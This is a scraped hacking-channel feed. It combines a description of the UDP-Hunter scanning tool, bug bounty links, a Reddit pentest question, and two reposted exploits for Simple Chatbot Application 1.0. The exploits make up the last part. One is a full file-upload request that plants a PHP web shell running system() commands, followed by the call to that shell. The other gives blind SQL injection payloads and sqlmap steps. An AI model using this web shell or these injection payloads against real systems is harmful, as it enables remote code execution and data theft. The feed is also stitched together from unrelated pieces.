Kali Linux Tutorials
UDP-Hunter : Network Assessment Tool For Various UDP Services Covering Both IPv4 And IPv6 Protocols

UDP-Hunter is a UDP Scanning has always been a slow and painful exercise, and if you add IPv6 on top of UDP, the tool choices get pretty limited. UDP Hunter is a python based open source network assessment tool focused on UDP Service Scanning. With UDP Hunter, we have focused on providing auditing of widely known UDP protocols for IPv6 and IPv4 hosts. As of today, UDP Hunter supports 19 different service probes. The tool allows you to do bulk scanning of large networks as well as targeted host scanning for specific ports and more. Once an open service is discovered, UDP Hunter takes it one step further and even provides you guidance on how you can possibly exploit the discovered services. UDP Hunter provides reports in a neat text format, however, support for more formats is under way. How does UDP Hunter work?

UDP Hunter creates a list of IPs when any IP range is provided to it. It also supports domain names which will be resolved and the IP will be added to the list. Once the list has been created internally by UDP Hunter, it will send UDP probes to all listed IPs. If the host is running a UDP service, it will respond. UDP Hunter basically sniffs network particularly for UDP traffic, then reads all UDP packets coming to the target host. All UDP probes received after running UDP Hunter will be reported. However, there is an option (by setting –noise=false) to ignore irrelevant UDP packets and only observe the UDP traffic of interest originated from the hosts and services/ports which are mentioned in the target list. The idea behind creating UDP Hunter was initially inspired by udp-proto-scanner. I heartily thank Portcullis Labs for it and also Anant and Sumit Siddharth(Sid) for their valuable inputs while working on UDP Hunter. Supported UDP Probes

As of today, we support the following UDP service probes on their default ports:

* ike – 500 port
* rpc / RPCCheck – 111 port
* ntp / NTPRequest – 123 port
* snmp-public / SNMPv3GetRequest – 161 port
* ms-sql / ms-sql-slam – 1434 port
* netop – 6502 port
* tftp – 69 port
* db2 – 523 port
* citrix – 1604 port
* echo – 7 port
* chargen – 19 port
* systat – 11 port
* daytime / time – 13 port
* DNSStatusRequest / DNSVersionBindReq – 53 port
* NBTStat – 137 port
* xdmcp – 177 port
* net-support – 5405 port
* mdns-zeroconf – 5353 port
* gtpv1 – 2123 port

Setup

Requirements

* Python 3.x
* Python Modules – also mentioned in “requirements.txt” file
* netaddr
* colorama
* argparse
* ifaddr
* datetime This should help you with the initial setup:

Install all required modules: pip3 install -r requirements.txt Configuration files required

* udp.txt – This file contains UDP probes
* udphelp.txt – This file contains list of tools, suggestions for each UDP probes or services You can also change configuration files by using command line argument:

“–configfile ” and “–probehelp ” Verify the configurations by running following command:

python udp-hunter.py

Note: It should display following help details, if this throws any error check your configurations or connect with me for any tool specific errors. Features / Options UDP Hunter v0.1beta has the following features: Mandatory Options

* –host – Single Host – Required or
* –file – File of ips – Required Optional

* –output – Output file – Required
* –probes – Name of probe or ‘all’ (default: all probes) (Optional)
* Probe list – ike, rpc, ntp, snmp-public, ms-sql, ms-sql-slam, netop, tftp, db2, citrix, echo, chargen, systat, daytime, time, RPCCheck, DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, SNMPv3GetRequest, xdmcp, net-support, mdns-zeroconf, gtpv1

* –ports – List of ports or ‘all’ (default: all ports) (Optional)
* –retries – Number of packets to send to each host. Default[...]

___________________________
@hacking_Attack
@Hacking_Video

2 (Optional)
* –noise – To filter output from non-listed IPs (Optional)
* –verbose – verbosity, will show sniffer output also — please keep this a true, by default this is true. This will help us to analyze output.
* –timeout – Timeout 1.0, 2.0 in minutes (Optional)
* –lhost6 – Provide IPv6 of listner interface
* –lhost4 – Provide IPv4 of listner interface
* –configfile – Configuration file location – default is ‘udp.txt’ in same directory
* –probehelp – Help file location – default is ‘udphelp.txt’ in same directory Usage

Usage: python udp-hunter.py –file=inputfile.txt –output=outputfile.txt [optional arguments] Usage: python udp-hunter.py –file=inputfile.txt –output=outputfile.txt [–probes=NTPRequest,SNMPv3GetReques] [–ports=123,161,53] [–retries=3] [–noise=true] [–verbose=false] [–timeout=1.0] [–configfile] Download

___________________________
@hacking_Attack
@Hacking_Video

Bug Bounty Program — Earn Up to 100,000 PTP
https://medium.com/platypus-finance/bug-bounty-program-earn-up-to-100-000-ptp-b6a913c2c8f1?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Learn more about bug bounty program.Continue reading on Platypus.finance » (https://medium.com/platypus-finance/bug-bounty-program-earn-up-to-100-000-ptp-b6a913c2c8f1?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

My Bug Bounty Adventure -1-
https://hcibo.medium.com/my-bug-bounty-adventure-1-b060b5bb1b2e?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Greetings from Constantinople to all,Continue reading on Medium » (https://hcibo.medium.com/my-bug-bounty-adventure-1-b060b5bb1b2e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

How To Run Or Install Hakrawler Bug Bounty Tool on Kali Linux
https://medium.com/@sherlock297/how-to-run-or-install-hakrawler-bug-bounty-tool-on-kali-linux-1dd2e6e31b8d?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hakrawler : Tool used to gather URLs and JavaSript file locations.Continue reading on Medium » (https://medium.com/@sherlock297/how-to-run-or-install-hakrawler-bug-bounty-tool-on-kali-linux-1dd2e6e31b8d?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

How to practice for a Pen Test practical job interview
https://www.reddit.com/r/Pentesting/comments/s70qcz/how_to_practice_for_a_pen_test_practical_job/

I have a Job pen test interview and I was told I will need to do some practical web and network testing. Any suggestions how I can practice it to get ready for the interview/exam. Since the test is ah hour I do not assume to have complicated questions. Any recommendation about any platforms to practice with? Thanks in advance. submitted by /u/brucue (https://www.reddit.com/user/brucue)
[link] (https://www.reddit.com/r/Pentesting/comments/s70qcz/how_to_practice_for_a_pen_test_practical_job/) [comments] (https://www.reddit.com/r/Pentesting/comments/s70qcz/how_to_practice_for_a_pen_test_practical_job/)

___________________________
@hacking_Attack
@Hacking_Video

How To Run Or Install Hakrawler Bug Bounty Tool on Kali Linux

Hakrawler : Tool used to gather URLs and JavaSript file locations.Continue reading on Medium »
Read more...

Exploit Collector
Simple Chatbot Application 1.0 Shell Upload

https://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png Simple Chatbot Application version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 496e3c1a6fdd0c52e04197b0bf576217Download # Exploit Title: Simple Chatbot Application 1.0 - Remote Code Execution (RCE)
# Date: 18/01/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14788/simple-chatbot-application-using-php-source-code.html
# Version: 1.0
# Tested on: XAMPP, Windows 10
# Exploit :

You can upload a php shell file as a bot_avatar or user_avatar or image

# ------------------------------------------------------------------------------------------
# POC
# ------------------------------------------------------------------------------------------

# Request sent as base user

POST /classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost.SA
Cookie: PHPSESSID=vgs6dm14ubfcmbi4kvgod1jeb4; _ga=GA1.2.1002000635.1642463002; _gid=GA1.2.990020096.1642463002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------55217074722533208072616276474
Content-Length: 1121
Connection: close

-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="name"
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="short_name"
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="intro"
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="no_result"
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="img"; filename=""
Content-Type: image/jpeg
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="bot_avatar"; filename="bot_avatar.php"
Content-Type: application/octet-stream
if($_REQUEST['s']) {
system($_REQUEST['s']);
} else phpinfo();
?> -----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="user_avatar"; filename=""
Content-Type: application/octet-stream
-----------------------------55217074722533208072616276474--
# Response

HTTP/1.1 200 OK
Date: Tue, 18 Jan 2022 00:51:29 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.12
X-Powered-By: PHP/8.0.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 119
Connection: close
Content-Type: text/html; charset=UTF-8

1

# ------------------------------------------------------------------------------------------
# Request to webshell
# ------------------------------------------------------------------------------------------

GET /uploads/bot_avatar.php?s=echo+0xSaudi HTTP/1.1
Host: localhost.SA
Cookie: PHPSESSID=vgs6dm14ubfcmbi4kvgod1jeb4; _ga=GA1.2.1002000635.1642463002; _gid=GA1.2.990020096.1642463002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Connection: close

# ------------------------------------------------------------------------------------------
# Webshell response
# ------------------------------------------------------------------------------------------

HTTP/1.1 200 OK
Date: Tue, 18 Jan 2022 00:51:29 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.12
X-Powered-By: PHP/8.0.12
Content-Length: 16
Connection: close
Content-Type: text/html; charset=UTF-8

[...]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Simple Chatbot Application 1.0 SQL Injection

https://2.bp.blogspot.com/-7dI_F0yeiSk/WWlvAqxVj9I/AAAAAAAAIKQ/m4aOGdGGTmo7o3qANzxUijwjE_G1NHOSQCLcBGAs/s1600/h123.png
Simple Chatbot Application version 1.0 suffers from a remote blind SQL injection vulnerability.

MD5 | 423037e1de190035b5f4204ba5afecb3

Download
# Exploit Title: Simple Chatbot Application 1.0 - 'message' Blind SQLi
# Date: 18/01/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14788/simple-chatbot-application-using-php-source-code.html
# Version: 1.0
# Tested on: XAMPP, Windows 10

# Steps
# Go to : http://127.0.0.1/classes/Master.php?f=get_response
# Save request in BurpSuite
# Run saved request with sqlmap -r sql.txt

======

POST /classes/Master.php?f=get_response HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=45l30lmah262k7mmg2u5tktbc2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 73
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive

message=' AND (SELECT 8288 FROM (SELECT(SLEEP(10)))ypPC) AND 'Saud'='Saud

======

#Payloads

#Payload (UNION query)
message=-8150' UNION ALL SELECT CONCAT(0x717a766b71,0x6d466451694363565172525259434d436c53677974774a424b635856784f4d5a41594e4e75424474,0x716a7a7171),NULL-- -

#(AND/OR time-based blind)
message=' AND (SELECT 8288 FROM (SELECT(SLEEP(10)))ypPC) AND 'Saud'='Saud


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video